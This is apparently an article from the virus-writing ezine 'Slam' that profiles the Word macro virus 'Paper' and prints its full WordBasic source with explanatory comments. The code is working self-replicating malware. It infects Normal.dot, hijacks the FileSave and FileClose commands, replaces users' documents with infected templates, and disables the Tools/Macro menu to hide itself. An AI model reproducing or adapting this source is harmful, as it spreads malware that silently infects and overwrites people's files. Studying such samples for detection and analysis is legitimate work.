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SLAM2.007: Description of the WordMacro Virus Paper

eZine's profile picture
Published in 
Slam
 · 2 years ago

[ WordMacro. Paper ]------------- 

˛ VIRUSNAME: Paper
˛ SIZE: 3608 Bytes
˛ ORIGIN: ?????
˛ AUTHOR: Sirius ???

->Polymorf No
->Stealth Yes
->Encrypted No
->Retro No
----------------------------------


This is one of the rare macro viruses, which don't use the "MacroCopy" command. OK, here is the source code.

------------------------------------------------------------------------------ 
macro: AUTOEXEC
~~~~~~~~~~~~~~~
'nice macro. ;-)) and still stops a few av macros, too.

Sub MAIN
REM PAPER SHREDDER (c) Sirius (alpha CMa), Sirius B White Dwarf
REM
REM 999999
REM 999999999
REM 999999999999
REM 99999999999999
REM 999999 999999
REM 999999999 99999999
REM @99999999999999 99999
REM 999999999999999 99
REM 99999 9999999999 9999 9
REM 99999999 9999999 999
REM 9999 999999 99999 999
REM 9999 9999999 999999 99
REM 999 9999999 999999 99
REM 99 999 99999999999999999 99
REM 99 99999999999999999999999999999999 99
REM 999999999999999999999999999999999999999 9999
End Sub

------------------------------------------------------------------------------
macro: AUTOOPEN
~~~~~~~~~~~~~~~
Sub MAIN 'code starts here
On Error Resume Next 'Error Handler
TemplatePath$ = DefaultDir$(2) 'Get the Path to Normal.dot
WorkDirPath$ = DefaultDir$(0) 'Get the Doc-Path
NormalPath$ = TemplatePath$ + "\Normal.dot" 'Get Normal.dot
CurrentFile$ = FileNameFromWindow$() 'Path + filename from the active file

'Copy the mswFS macro from the active file to normal.dot.
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "mswFS", .Tab = 3

'Copy the FileClose macro from the active file to normal.dot.
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "FileClose", .Tab = 3

'and again ...
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "AutoOpen", .Tab = 3
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "AutoExec", .Tab = 3
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "ToolsMacro", .Tab = 3

'Delete the FileSave macro (Normal.dot)
ToolsMacro .Name = "FileSave", .Show = 1, .Delete
'...
ToolsMacro .Name = "mswFC", .Show = 1, .Delete
ToolsMacro .Name = "mswAO", .Show = 1, .Delete

'Rename the mswFS macro to FileSave.
Organizer .Rename, .Source = NormalPath$, .Name = "mswFS", .NewName = "FileSave", .Tab = 3
'...
Organizer .Rename, .Source = NormalPath$, .Name = "FileClose", .NewName = "mswFC", .Tab = 3
Organizer .Rename, .Source = NormalPath$, .Name = "AutoOpen", .NewName = "mswAO", .Tab = 3

Err = 0 'Set the Error Handler to 0
End Sub 'end.

------------------------------------------------------------------------------
macro: FileClose
~~~~~~~~~~~~~~~~
Sub MAIN 'code starts here
On Error Resume Next 'Error Handler
TemplatePath$ = DefaultDir$(2) 'Get the Path to Normal.dot
WorkDirPath$ = DefaultDir$(0) 'Get the Doc-Path
NormalPath$ = TemplatePath$ + "\Normal.dot" 'Get Normal.dot
CurrentFile$ = FileNameFromWindow$() 'Path + filename from the active file

'Copy the mswFS macro from the active file to normal.dot.
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "mswFS", .Tab = 3
'and again copy the FileClose macro ...
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "FileClose", .Tab = 3
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "AutoOpen", .Tab = 3
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "AutoExec", .Tab = 3
Organizer .Copy, .Source = CurrentFile$, .Destination = NormalPath$, .Name = "ToolsMacro", .Tab = 3

'Delete the FileSave macro (Normal.dot)
ToolsMacro .Name = "FileSave", .Show = 1, .Delete
'...
ToolsMacro .Name = "mswFC", .Show = 1, .Delete
ToolsMacro .Name = "mswAO", .Show = 1, .Delete

'Rename the mswFS macro to FileSave.
Organizer .Rename, .Source = NormalPath$, .Name = "mswFS", .NewName = "FileSave", .Tab = 3
'...
Organizer .Rename, .Source = NormalPath$, .Name = "FileClose", .NewName = "mswFC", .Tab = 3
Organizer .Rename, .Source = NormalPath$, .Name = "AutoOpen", .NewName = "mswAO", .Tab = 3

Err = 0 'Set the Error Handler to 0

FileClose 'and close the file.
End Sub 'end.

------------------------------------------------------------------------------
macro: MSWFS
~~~~~~~~~~~~
Sub MAIN 'and again the code starts here
On Error Goto BYE 'Error Handler
FileSave 'Save the active file.
On Error Goto BYE 'Error Handler
TemplatePath$ = DefaultDir$(2) 'Get again the Path to normal.dot
WorkDirPath$ = DefaultDir$(0) 'Get the Doc-Path
CurrentFile$ = FileNameFromWindow$() 'Path + filename from the active file.
OriginalFile$ = FileName$() 'And now the filename without the Path
Signature$ = "mswFS"
'Is the active file already infected?
SignatureTest$ = UCase$(MacroFileName$(Signature$))
'Yo, then
If SignatureTest$ = UCase$(FileNameFromWindow$()) Then
Goto BYE 'go to BYE
Else 'if not, then
Goto CONTINUEON 'go to CONTINUEON
End If
CONTINUEON:
ToolsOptionsGeneral .RecentFiles = 0

NormalPath$ = TemplatePath$ + "\Normal.dot" 'Get Normal.dot

'Get now the name of the active file without the extension
'e.g. if the path of the active file is "c:\windows\virus.doc"
'then the variable CurrentFileNoExt$ is "virus"
CurrentFileNoExt$ = FileNameInfo$(FileNameFromWindow$(), 4)

'Save the file as a template.
TargetFile$ = TemplatePath$ + "\" + CurrentFileNoExt$ + ".dot"
FileSaveAs .Name = TargetFile$, .Format = 1, .AddToMru = 0

'Copy the macro (AutoExec) from normal.dot to the active file
Organizer .Copy, .Source = NormalPath$, .Destination = TargetFile$, .Name = "AutoExec", .Tab = 3
'and again ...
Organizer .Copy, .Source = NormalPath$, .Destination = TargetFile$, .Name = "ToolsMacro", .Tab = 3

Organizer .Copy, .Source = NormalPath$, .Destination = TargetFile$, .Name = "FileSave", .Tab = 3
'Now rename the macro FileSave to mswFS
Organizer .Rename, .Source = TargetFile$, .Name = "FileSave", .NewName = "mswFS", .Tab = 3

'Copy the macro mswAO to the active file
Organizer .Copy, .Source = NormalPath$, .Destination = TargetFile$, .Name = "mswAO", .Tab = 3
'and rename it to AutoOpen.
Organizer .Rename, .Source = TargetFile$, .Name = "mswAO", .NewName = "AutoOpen", .Tab = 3

'Again copy the macro mswFC to the active file
Organizer .Copy, .Source = NormalPath$, .Destination = TargetFile$, .Name = "mswFC", .Tab = 3
'and rename it to FileClose.
Organizer .Rename, .Source = TargetFile$, .Name = "mswFC", .NewName = "FileClose", .Tab = 3

FileSave 'Save the active file.

FileClose 'Close it.

Kill OriginalFile$ 'Delete the not infected file.
Name TargetFile$ As OriginalFile$ 'Copy the infected file to the
'place of the original file.
DisableAutoMacros(1) 'Enable the DisableAutoMacros Option,
FileOpen .Name = OriginalFile$ 'open the infected file
DisableAutoMacros(0) 'and disable the DisableAutoMacros Option

BYE:
End Sub 'the code ends here

------------------------------------------------------------------------------
macro: ToolsMacro
~~~~~~~~~~~~~~~~~
Sub MAIN 'if someone push the Tools/Macro
End Sub 'button, then will nothing happen.

------------------------------------------------------------------------------


OK, that's it.

- Nightmare Joker -

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